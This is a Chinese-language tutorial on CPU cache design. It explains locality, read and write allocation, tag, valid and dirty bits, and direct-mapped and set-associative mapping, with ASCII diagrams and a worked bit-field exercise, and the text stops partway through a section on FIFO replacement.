0. 概要
本文会从几个部分并以动机主导讲解有关于缓存设计的种种知识，并辅以一些小题目辅助理解，这大体分为几部分：
- 1. 为什么要有缓存
- 2. 缓存基础知识与术语
- 3. 缓存读写分配策略
- 4. 构造缓存
- 5. 缓存映射策略
- 6. 缓存替换策略
- 7. 缓存一致性
- 8. 虚拟地址怎么办
- 9. 硬件工程中的CPU高速缓存
- 10. 软件工程中的CPU高速缓存
- 11. 总结
- 12. 引用
1. 为什么要有缓存？
从本质上讲，现代计算机都是图灵机的工程实现。图灵机的结构十分精简：一个带有“状态”的读写头配合一条用于存储数据的 纸带。映射到现实的电子计算机中，这二者分别对应着 CPU 与 内存。
在理想的数学模型中，图灵机的读写操作被视为瞬间完成。然而，在物理世界中，我们面临着无法逾越的物理障碍。尽管电信号以接近光速传播，但受限于主板布线及芯片内部存在的寄生电感与电容效应，信号的建立与稳定需要时间，这导致了实际数据传输存在不可忽视的延迟。
在过去的几十年里，CPU 的运算速度遵循摩尔定律飞速增长，翻了成千上万倍；相比之下，内存（DRAM）虽然带宽也在提升，但其延迟（Latency）的降低幅度却远远赶不上 CPU 处理能力的提升。这种速度上的巨大鸿沟，成为了制约计算机性能的瓶颈。
“任何问题都可以加一层中间层解决，如果有解决不了的那就再加一层。” 在这一工程思想的指导下，缓存（虽然那时候还没有这个名字）的概念由M. V. Wilkes在1965年提出（原始文献）,这时候缓存还被叫做从属内存。
现代缓存通常由 SRAM（静态随机存取存储器） 构成（而不是高速磁芯存储器~）。作为纯粹的逻辑电路，SRAM 的速度极其之快，几乎可以与 CPU 同频工作。但受限于高昂的造价，以及容量增大带来的寄生电容效应（会拖慢时序），缓存的容量通常不能做得很大。
2. 缓存基础知识与术语
2.1 命中是什么？
缓存就是一个小而快的存储器，就是这么直接，但在实际的系统设计与应用中，它不仅仅负责存储，还涉及复杂的管理策略。
首先是 缓存命中（Cache Hit） 与 缓存未命中（Cache Miss）。作为存储介质，最核心的操作便是查询数据是否存在。
缓存命中：当我们需要读取的数据已经存在于缓存中时。缓存未命中：当需要的数据不在缓存中，需要去下层存储（如内存或磁盘）获取时。
2.2 局部性原理
局部性原理（Principle of Locality）。这决定了缓存为什么能生效。我们可以通过以下两个常见的代码片段来理解：
# 场景 A
for i in range(N):
print(arr[i])
# 场景 B
for i in range(N):
print(x)
这两种循环分别代表了程序访问数据的两种典型模式：
空间局部性（Spatial Locality）：对应场景 A。我们在访问arr[i]后，很大概率会接着访问与之相邻的arr[i+1]。因为数据在内存中是连续存放的，按顺序访问相邻数据能极大利用缓存行（Cache Line）。时间局部性（Temporal Locality）：对应场景 B。变量x在短时间内被多次重复访问。如果一个数据刚被访问过，那么它很有可能在不久的将来再次被访问。
2.3 缓存管理操作
- Invalidate: 使失效 简简单单地从缓存中清除某些数据，即使最新数据
只在缓存中也不会写回主存。 - Clean: 清理 如果最新的数据只在缓存中就
写回主存。 - Flush: 冲刷 Clean + Invalidate就是flush；先写回再使之失效。
2.4 缓存性能指标
很多缓存设计/优化争论到最后，其实都在拉扯这三个指标：
- Hit time（命中延迟）：命中一次要多久（越低越好）
- Miss rate（未命中率）：访问中有多少比例 miss（越低越好）
- Miss penalty（未命中代价）：miss 一次要付出多少额外代价（越低越好）
常用的计算缓存性能的公式是 AMAT（Average Memory Access Time）：
AMAT = Hit_time + Miss_rate * Miss_penalty
后面你会看到：
- 加大缓存、提高相联度、搞预取往往是为了降 Miss rate / Miss penalty；
- 而 VIPT、管线化、分 bank 往往是为了不把命中时间搞崩。
3. 缓存的读写分配策略
作为存储系统，最重要的事情莫过于什么时候存什么时候取。当 CPU 请求的数据不在缓存中（即 Cache Miss）时，我们需要决定是否将数据从主存拉取到缓存中，这就涉及到了 分配策略（Allocation Policy）。
当 CPU 试图读取数据 a 但缓存未命中时，基于时间局部性原理，我们有理由相信该数据随后会被频繁访问。
因此，主流策略是读分配：先将数据从内存读取到缓存，再由缓存提供给 CPU。
Step 1: 缓存未命中 (Miss)
[ CPU ] --(Load a?)--> [ Cache: (Empty) ] --(Fetch a)--> [ RAM: a=0xff ]
Step 2: 填充并返回 (Refill & Return)
[ CPU ] <--(a=0xff)-- [ Cache: a=0xff ] <--(a=0xff)-- [ RAM: a=0xff ]
当然，也存在 读不分配 (No-Read Allocation) 的策略，即直接跳过缓存由内存向 CPU 供数据。但这违背了缓存加速的初衷，因此在现代通用 CPU 中极少见。
当 CPU 试图写入数据 a 但缓存未命中时，情况会复杂一些。通常有两种策略：
写分配 (Write Allocate)：先把原本在内存中的数据块（Block）读入缓存，修改缓存中的数据，最后视情况同步回内存（通常配合 Write Back 策略）。写不分配 (No-Write Allocate)：直接将数据写入内存，不经过缓存（通常配合 Write Through 策略）。
场景：CPU 想要写入 a=0xff，但缓存中没有 a
策略 A: 写分配 (常见)
1. [ RAM: a=0x00 ] --(加载)--> [ Cache: a=0x00 ]
2. [ CPU ] --(写入)--> [ Cache: a=0xff ] (标记为 Dirty，毕竟和主存不一样了)
策略 B: 写不分配
[ CPU ] ----------------(直接写入)--------------> [ RAM: a=0xff ]
[ Cache ] (保持原样，不加载)
除了被动等待，软件也可以主动预判，预先将数据加载到缓存中，这被称为预取。
[ CPU: Prefetch &a ] ----> [ Cache: (Wait...) ] <--(Load)-- [ RAM: a=0xff ]
(数据在 CPU 真正用到之前，就已经在缓存里躺好了)
值得注意的是你并不一定需要实现所有这些策略，作为某种系统，只要能跑就行。比如很多嵌入式系统就只有读分配，实现简单、方便且功能足够。
4. 构造缓存
存储存储，知道了啥时候要存，可是存哪呢？这就是 缓存映射策略 出场的时候了。
不过任何算法都需要输入。站在缓存的角度思考一下：有哪些信息可以用来计算数据存放在哪里呢？CPU发出读写指令的共同点是什么呢？答案是 内存地址 ！
当然，随机种子和随机数也许也能带来意想不到的效果，我们可以假设以某种缓存内部状态代表随机数。
综上，所谓映射策略也就是指我们需要一个函数：缓存内的位置 = f(内存地址, 某种内部状态)。
先看一种直接的想法：既然都有随机数了，那岂不是直接随便挑个位置放就行了？
我们先假设一个存储的格子大小和一个内存单元（通常8bits，也就是一个内存地址对应一个byte）一样宽。同时我们的内存地址是8bits的。
+----------------------+
| Data Block |
+----------------------+
| [ 0xA5 ] |
+----------------------+
| [ 0xFF ] |
+----------------------+
| [ 0x7D ] |
+----------------------+
| [ 0x3C ] |
+----------------------+
看出来有什么欠妥的地方吗？很显然我们不知道读的时候要读哪个格子的数据！我们不能判断是否命中。
既然缓存服务于CPU，回想一下CPU每次读写都有什么？对了，内存地址！我们要存放内存地址到每个格子里，这个位置被叫做 Tag（标签），内存地址就是对比用的标签，很合理吧。
+----------------+----------------------+
| TAG | Data Block |
+----------------+----------------------+
| 0b11001010 | [ 0xA5 ] |
+----------------+----------------------+
| 0b00111001 | [ 0xFF ] |
+----------------+----------------------+
| 0b01010111 | [ 0x7D ] |
+----------------+----------------------+
| 0b10001011 | [ 0x3C ] |
+----------------+----------------------+
让我们模拟一下读这个缓存：
[ CPU ] --(Load 0b01010111?)-->
+----------------+----------------------+
| TAG | Data Block |
+----------------+----------------------+
| 0b11001010 | [ 0xA5 ] | <--不匹配
+----------------+----------------------+
| 0b00111001 | [ 0xFF ] | <--不匹配
+----------------+----------------------+
| 0b01010111 | [ 0x7D ] | <--匹配
+----------------+----------------------+
| 0b10001011 | [ 0x3C ] | <--不匹配
+----------------+----------------------+
[ CPU ] <--(0b01010111 = 0x7D && 缓存命中)-- [ Cache: 0b01010111=0x7D ]
不过缓存也不是一开机就有有效数据的，所以自然还需要标志一下这个缓存行有没有有效数据。这个位置被叫做 Valid。
[ CPU ] --(Load 0b01010111?)-->
+--------+----------------+----------------------+
| Valid | TAG | Data Block |
+--------+----------------+----------------------+
| 1 | 0b11001010 | [ 0xA5 ] | <--不匹配 && Valid == true
+--------+----------------+----------------------+
| 0 | 0b00111001 | [ 0xFF ] | <--不匹配 && Valid == false
+--------+----------------+----------------------+
| 0 | 0b01010111 | [ 0x00 ] | <--匹配 && Valid == false
+--------+----------------+----------------------+
| 1 | 0b10001011 | [ 0x3C ] | <--不匹配 && Valid == true
+--------+----------------+----------------------+
[ CPU ] <--(0b01010111 = 0x7D && 缓存未命中)--[ RAM: 0b01010111=0x7D ]
当然我们还可能遇到有写入操作时特有的问题。如果最新的数据只在缓存里，那我们要清空这个缓存行的时候，就需要把最新的数据写回主存（RAM）。所以我们再加入一个标志位，代表这个缓存是否和主存一致（也就是最新的数据是否只在缓存里），我们管这个叫 Dirty 位。
另外如果你的缓存只读（比如是指令缓存）可以不加入这一位标志。
[ CPU ] --(Load 0b10000000?)-->
+-----------+--------+----------------+----------------------+
| Dirty | Valid | TAG | Data Block |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b11001010 | [ 0xA5 ] |
+-----------+--------+----------------+----------------------+
| 0 | 1 | 0b00111001 | [ 0xFF ] |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b01010111 | [ 0x7D ] |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b10001011 | [ 0x3C ] |
+-----------+--------+----------------+----------------------+
[ CPU ] <--(0b01010111 = 0x7D && 缓存未命中)--[ RAM: 0b10000000=0xA0 ]
想要进行写分配，先随机分配一个缓存行，假设选择到了幸运儿被移除
+-----------+--------+----------------+----------------------+
| Dirty | Valid | TAG | Data Block |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b11001010 | [ 0xA5 ] |
+-----------+--------+----------------+----------------------+
| 0 | 1 | 0b00111001 | [ 0xFF ] |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b01010111 | [ 0x7D ] | <--幸运儿 && Dirty == true
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b10001011 | [ 0x3C ] |
+-----------+--------+----------------+----------------------+
可恶，幸运儿的数据主存还没有，需先写回主存
[ Cache: 0b01010111=0x7D ] --(写 0b01010111 == 0x7D)--> [ RAM ]
进行写分配
+-----------+--------+----------------+----------------------+
| Dirty | Valid | TAG | Data Block |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b11001010 | [ 0xA5 ] |
+-----------+--------+----------------+----------------------+
| 0 | 1 | 0b00111001 | [ 0xFF ] |
+-----------+--------+----------------+----------------------+
| 0 | 1 | 0b10000000 | [ 0xA0 ] |
+-----------+--------+----------------+----------------------+
| 1 | 1 | 0b10001011 | [ 0x3C ] |
+-----------+--------+----------------+----------------------+
等等，不对！回忆一下我们CPU平常要用到的数据都是多少位的？以 risc-v 举例，标准指令是 32bits，以及大部分人都喜欢的无脑写 uint64_t 这种 64bits 数据。
另外还记得前文所说的“SRAM 的速度极其之快，几乎可以与 CPU 同频工作”中的几乎吗？
缓存要存放的数据很显然比CPU寄存器多多了（一般L1就有64kb左右）。电容要充电，信号要等待，总线寄存器切片还卡着。
综上，SRAM 的延迟也不小，一般来说大容量 SRAM 是读同步的，也就是读的数据要下一个周期才能拿到！
假设有一个人要读取一个 uint64_t，那么它需要至少等待 (64 / 8) * 2 = 16 周期。天哪，不敢想现代CPU这种能同时输入 128bits 甚至更多的情况会有多糟糕。
所以缓存行一般不只有一个 byte，现代通用 CPU 多数采用 64B（bytes） 缓存行（512bits），也存在不同设计。。这里为了演示方便，我们假设一个 16bits 缓存行。
不过这又引入了一个新的问题：既然一个缓存行 16bits，那么对于地址 0bxxxxxxx0 和 0bxxxxxxx1 (x代表相同的部分)的数据，应该分开存还是一起存呢？
考虑分开存的情况：
+-----------+--------+----------------+-----------------------------+
| Dirty | Valid | TAG | Data Block |
+-----------+--------+----------------+-----------------------------+
| 0 | 1 | 0b0000000 | [ Byte0 | Byte1 ] |
| | | | [ 0x11 | 0x45 ] |
+-----------+--------+----------------+-----------------------------+
| 0 | 1 | 0b0000001 | [ Byte0 | Byte1 ] |
| | | | [ 0x45 | 0x14 ] |
+-----------+--------+----------------+-----------------------------+
天哪，两个缓存行有一样的共享数据 0x45。如果硬要维护让这俩缓存行每时每刻这个 0x45 的位置都一模一样，简直难度不敢想象，更何况是那些更大的缓存行。而且如果修改了 0x45 的位置，我们的 Dirty 怎么算？
问题太多了，还是强制 0bxxxxxxx0 和 0bxxxxxxx1 必须存放在同一个格子吧。既然这样，那我们 TAG 只要 7 位就行了，匹配前面的 7 个 x，最后一位用于确定实际数据是缓存行的哪个 byte，这最后一位被称为 Offset。
+-------+-------+-------------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (7bits) | (Offset bits: 1 bit) |
+-------+-------+-------------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
| | | | (Byte 0) | (Byte 1) |
+-------+-------+-------------+-----------------+-----------------+
| 0 | 1 | 0b0000000 | 0x11 | 0x45 |
+-------+-------+-------------+-----------------+-----------------+
| 0 | 1 | 0b0000001 | 0x14 | 0x19 |
+-------+-------+-------------+-----------------+-----------------+
当然更大的缓存行会让 TAG 再少一位，比如 32bits 缓存行：
+-------+-------+------------+---------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (6 bits) | (Offset bits: 2 bits) |
+-------+-------+------------+---------------+---------------+---------------+---------------+
| | | | Offset: 0b00 | Offset: 0b01 | Offset: 0b10 | Offset: 0b11 |
| | | | (Byte 0) | (Byte 1) | (Byte 2) | (Byte 3) |
+-------+-------+------------+---------------+---------------+---------------+---------------+
| 0 | 1 | 0b000000 | 0x11 | 0x45 | 0x14 | 0x19 | <--- Line 0
+-------+-------+------------+---------------+---------------+---------------+---------------+
| 0 | 1 | 0b000001 | 0x19 | 0x81 | 0x0A | 0xBB | <--- Line 1
+-------+-------+------------+---------------+---------------+---------------+---------------+
回到 16bits 缓存行，我们来看一下这时候一个内存地址的组成：
+---------------------------------------------------------------+
| Memory Address (8 bits) |
| 0b10101010 |
+---------------------------------------+-----------------------+
| TAG | Offset |
| (7 bits) | (1 bit) |
+---------------------------------------+-----------------------+
| 0b1010101 | 0 |
+---------------------------------------+-----------------------+
如果我们要选取这个 byte，我们应该选取某个 tag 为 0b1010101 的缓存行，并在这个缓存行寻找一个 offset 为 0 的 byte。
可能的缓存行结构如下（当然下图是命中的情况，也可能完全没匹配哦）：
+-------+-------+-------------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (7bits) | (Offset bits: 1 bit) |
+-------+-------+-------------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-------------+-----------------+-----------------+
| 0 | 1 | 0b0001110 | 0x33 | 0x44 | <--- 未命中 (Tag 不匹配)
+-------+-------+-------------+-----------------+-----------------+
| 0 | 1 | 0b1010101 | 0x5A | 0xB2 | <--- 命中! (Tag 匹配)
+-------+-------+-------------+-----------------+-----------------+
读取缓存行0xB25A并选取0x5A作为最终数据
5. 缓存映射策略
在上一章我们构造了一个缓存映射函数：缓存内的位置 = f(内存地址, 某种内部状态)。
不过很显然，之前提到的分配策略（如随机替换）只利用了某种随机数进行挑选，而没有充分利用内存地址本身的信息。这被称为全相联映射（Fully Associative Mapping），毕竟它就像一锅乱炖，数据可以放在任何位置，查找时全靠遍历。
这一章，我们考虑一下如何利用内存地址来优化映射。
全相联的缺点是什么呢？对了，大量的比较！
举个例子，Intel Ultra 9 285k 的 L2 缓存容量是 40 MB，假设一个缓存行（Cache Line）是 512 bits (64 Bytes)，那么我们有 40 * 1024 * 1024 / 64 = 655,360 个缓存行。
如果要判断一个地址是否命中，我们需要同时比较 655,360 个 TAG！
如果物理地址是 64 位，那就需要 655,360 * 64 个同或门（XNOR，用于比较相等）和 655,360 个多路与门。电容要充电，信号要等待，总线寄存器切片还卡着…
显然，我们不能让所有的缓存行都参与比较。我们需要一种方法，能让我们看到一个内存地址，就立刻知道它如果存在，会存在哪个位置。
5.1 直接映射 (Direct Mapped)
最简单的思路是：让每个内存地址只能去固定的一个位置。
思考一下如何构造映射函数？最符合硬件实现的想法是在内存地址中直接截取一段，当作缓存行的索引（Index）。那么，选哪一段呢？
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 1
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 2
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b11101 | 0x5A | 0xB2 | <--- Line 3, Index = 3
+-------+-------+-----------+-----------------+-----------------+
方案 A：选最低位？(Index 在 Offset 旁边)
+---------------------------------------------------------------+
| Memory Address (8 bits) |
| 0b10101010 |
+---------------------------------------+-------+---------------+
| TAG | Index | Offset |
| (5 bits) | (2b) | (1b) |
+---------------------------------------+-------+---------------+
| 10101 | 01 | 0 |
+---------------------------------------+-------+---------------+
方案 B：选中间？
+---------------------------------------------------------------+
| Memory Address (8 bits) |
| 0b10101010 |
+-----------------------+-------+---------------+---------------+
| Tag (High) | Index | Tag (Low) | Offset |
| (3 bits) | (2b) | (2 bits) | (1b) |
+-----------------------+-------+---------------+---------------+
| 101 | 01 | 01 | 0 |
+-----------------------+-------+---------------+---------------+
方案 C：选最高位？
+---------------------------------------------------------------+
| Memory Address (8 bits) |
| 0b10101010 |
+-------+---------------------------------------+---------------+
| Index | TAG | Offset |
| (2b) | (5 bits) | (1b) |
+-------+---------------------------------------+---------------+
| 10 | 10101 | 0 |
+-------+---------------------------------------+---------------+
值得一提的是，如果特定的内存地址只对应特定的缓存行，那么 TAG 还可以再少 Index 位（毕竟通过 Index 已经定位到这一行了，只要对比除了 Offset 和 Index 以外的剩余高位地址作为 Tag 来确认数据一致就行了）。
回到对 Index 位应该处于哪一个地址部分的讨论，我们这里需要用到空间局部性原理。思考一下，我们希望一连串在一起的数据（数组、指令流）能均匀地填满整个缓存，而不是挤在某一行里。
因此，我们应该采用方案 A，即 Index 处于 Offset 之上的低位设计。
考虑局部性程序:
# uint16_t arr_a[] 位于 0b10000000
# 每次访问 2 bytes
for i in range(N):
arr_a[i]
情况 1：Index 位于低位 (正确的设计)
假设 Index 在 Tag 和 Offset 中间 (Bits 2-1)
+---------------------------------------------------------------+
| Memory Address (8 bits) |
| 0b10101010 |
+---------------------------------------+-------+---------------+
| TAG | Index | Offset |
| (5 bits) | (2b) | (1b) |
+---------------------------------------+-------+---------------+
| 10101 | 01 | 0 |
+---------------------------------------+-------+---------------+
[ CPU ] --(Load 2bytes @0b10000000? Index = 0b00)-->
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0 (只比较这一行，!Valid -> Miss)
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 1
+-------+-------+-----------+-----------------+-----------------+
...
读分配 (Fill)
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10000 | 0x00 | 0x01 | <--- Line 0, Index = 0 (分配到这里)
+-------+-------+-----------+-----------------+-----------------+
...
[ CPU ] --(Load 2bytes @0b10000010? Index = 0b01)-->
注意：地址+2，Index 变成了 0b01
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10000 | 0x00 | 0x01 | <--- Line 0, Index = 0
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10000 | 0x02 | 0x03 | <--- Line 1, Index = 1 (地址+2，分配到下一行，利用率高)
+-------+-------+-----------+-----------------+-----------------+
...
对于每次 +2 的递增地址，缓存很好地保持了空间局部性，将数据分散到了不同的行中！
如果给不同的内存地址映射到的缓存行标上颜色的话那会是这样的（四组每行两字节）：
情况 2：Index 位于高位 (错误的设计)
再看看 Index 位于最高位的情况:
假设 Index 位于最高2位 (Bits 7-6)
+-------+---------------------------------------+---------------+
| Index | TAG | Offset |
| (2b) | (5 bits) | (1b) |
+-------+---------------------------------------+---------------+
[ CPU ] --(Load 2bytes @0b10000000? Index = 0b10)-->
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
...
| 0 | 0 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 2 (!Valid -> Miss)
...
读分配
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
...
| 0 | 1 | 0b00000 | 0x00 | 0x01 | <--- Line 2, Index = 2 (分配到这里)
...
[ CPU ] --(Load 2bytes @0b10000010? Index = 0b10)-->
注意：地址+2，但高位没变，Index 依然是 0b10！
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
...
| 0 | 1 | 0b00000 | 0x00 | 0x01 | <--- Line 2, Index = 2 (冲突！Tag不匹配 0b00000 != 0b00001)
...
不难看出这违背了空间局部性原理。空间上相邻的数据全部映射到了同一个 Index，导致这一行被反复覆盖，而其他行却闲置着。
这时如果再给不同的内存地址映射到的缓存行标上颜色的话那会是这样的：
假设有一个系统，其物理地址长度为 32位。缓存设计如下：
- 缓存行大小（Block Size）：64 Bytes
- 采用**直接映射（Direct Mapped）**策略
- 缓存总共有 1024 个缓存行（Lines）
请计算：
- Offset 需要占用多少位？
- Index 需要占用多少位？
- Tag 剩余多少位？
点击查看答案
- Offset: 缓存行大小为 64 Bytes = 2^6，所以 Offset 需要 6 bits。
- Index: 共有 1024 个缓存行 = 2^{10}，所以 Index 需要 10 bits。
- Tag: 总地址 32位 - Index(10) - Offset(6) = 16 bits。
5.2 组相联映射 (Set Associative Mapping)
那么，直接映射的代价是什么呢？是冲突缺失（Conflict Miss）。
考虑如下程序:
# uint16_t arr_a[] 位于 0b00000000 (Index 0)
# uint16_t arr_b[] 位于 0b10000000 (Index 0)
# 假设缓存大小导致这两个地址的 Index 相同
for i in range(N):
arr_a[i] + arr_b[i]
读取序列是:
[ CPU ] --(Load arr_a @0b00000000? Index = 0)--> Miss, Fill Line 0
[ CPU ] --(Load arr_b @0b10000000? Index = 0)--> Miss, Evict arr_a, Fill Line 0
[ CPU ] --(Load arr_a @0b00000000? Index = 0)--> Miss, Evict arr_b, Fill Line 0 (下一轮循环)
...
分析一下缓存的情况（这就是著名的乒乓效应）:
假设 Index Tag和Offset中间 (Bits 2-1)
[ CPU ] --(Load arr_a @0b00000000? Index = 0b00)-->
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00000 | arr_a | ... | <--- Line 0, Index = 0 (填入 arr_a)
+-------+-------+-----------+-----------------+-----------------+
[ CPU ] --(Load arr_b @0b10000000? Index = 0b00)-->
注意：arr_b 的 Index 也是 0，但 Tag 是 0b10000
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00000 | arr_a | ... | <--- Line 0: Tag 0b00000 != 0b10000 -> Miss!
+-------+-------+-----------+-----------------+-----------------+
读分配 (必须踢掉 arr_a 才能放下 arr_b)
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10000 | arr_b | ... | <--- Line 0: 变成了 arr_b
+-------+-------+-----------+-----------------+-----------------+
[ CPU ] --(Load arr_a @0b00000000? Index = 0b00)-->
再次读取 arr_a，发现 Line 0 是 arr_b，Tag 不匹配 -> Miss!
那么我们最早学的全相联缓存有这个问题吗？很显然，如果随机数生成得好，是没有这种问题的，这些数据可以落在不同的缓存行中。但是全相联缓存太贵了，而直接映射又太容易冲突，所以我们需要一种融合方案。
隆重介绍：组相联映射 (Set Associative Mapping)。
缓存行结构如下（以一组两路为例，即 2-Way Set Associative）:
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| Set 0 | Way 0 | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b00011 | 0x33 | 0x44 | <--- Line 0 (Set 0, Way 0)
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b10101 | 0x5A | 0xB2 | <--- Line 1 (Set 0, Way 1)
+-------+-------+-----------+-----------------+-----------------+
| Set 1 | Way 0 | | | |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b01011 | 0x33 | 0x44 | <--- Line 2 (Set 1, Way 0)
+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 0b11101 | 0x5A | 0xB2 | <--- Line 3 (Set 1, Way 1)
+-------+-------+-----------+-----------------+-----------------+
...
组相联映射的想法很直接：我们给一个 Index 对应多几个被称为“路”(Way) 的缓存行，这些路构成一个 Index 的“组”(Set)。
- 定位组：通过地址的 Index 部分找到唯一的 Set（像直接映射）。
- 组内查找：在 Set 内部的几条 Way 之间，进行并行比较（像全相联）。
- 替换策略：如果组满了，才需要在组内使用随机、LRU 等策略踢人。
在如上 2 路组相联的情况下，我们每次检查命中只需要 2 个比较器，同时也解决了直接映射的乒乓问题。
简要演示：
# 假设 2-Way 组相联
# arr_a 位于 0b00000000 -> Index=00, Tag=0b00000
# arr_b 位于 0b10000000 -> Index=00, Tag=0b10000
for i in range(N):
arr_a[i] # 读 a
arr_b[i] # 读 b
Load arr_a (0b00000000):- Index = 0。查看 Set 0。
- Way 0: 空。Way 1: 空。
- 未命中。从内存拉取数据，填入 Set 0 的
Way 0。
Set 0 Status: [ Way 0: arr_a (Tag 0b00000) ] [ Way 1: Empty ]Load arr_b (0b10000000):- Index = 0。查看 Set 0。
- Way 0: Tag 是 0b00000，不匹配。Way 1: 空。
- 未命中。从内存拉取数据。
- 关键点来了：我们不需要踢走 arr_a，因为 Way 1 还是空的！填入 Set 0 的
Way 1。
Set 0 Status: [ Way 0: arr_a (Tag 0b00000) ] [ Way 1: arr_b (Tag 0b10000) ]Load arr_a (0b00000000)(第二次循环):- Index = 0。查看 Set 0。
- Way 0 Tag 匹配！命中！
Load arr_b (0b10000000)(第二次循环):- Index = 0。查看 Set 0。
- Way 1 Tag 匹配！命中！
缓存映射策略就是在时间和金钱成本（比较器数量、面积）以及缓存命中率之间进行端水的游戏。你需要权衡路（Way）的数量和组（Set）的数量，才能设计出一个高效的缓存。
这些缓存映射策略在论文Cache Memories(1982)被提出。
6. 缓存替换策略
上文我们提到了在组（Set）中如何选取路（Way）进行缓存替换（分配）的策略，但那只是一个纯粹的随机替换策略。不过我没有提到的是，随机数从哪来？
很显然，在 CPU 里我们可没空间去搞像 MT19937（一种很有意思的随机算法）之类的复杂算法。凑合一下得了，比如用一个计数器，每发生一次事件就 +1，这本身就是一种不错的随机数生成器（你可以发挥想象力）。
想要改进这个算法也很简单。最直接的想法就是优先替换 invalid (!Valid) 的缓存行，毕竟可能有用但长时间没用的数据，总比无效的垃圾数据值钱点。
在此之上，我们还有什么更聪明的策略吗？
6.1 FIFO
最早来的最先走，听起来很自然不是么？这就是 FIFO（First in first out） 的工作原理。实现起来也很简单，只要维护一个计数器就行了。
原理如下：
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- victim_counter 指向这里（替换这个）
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b11101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-----------+-----------------+-----------------+
victim_counter++;
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10011 | 0x22 | 0x11 | <--- Line 0, Index = 0, Way = 0
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1 <- victim_counter 指向这里（替换这个）
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-----------+-----------------+-----------------+
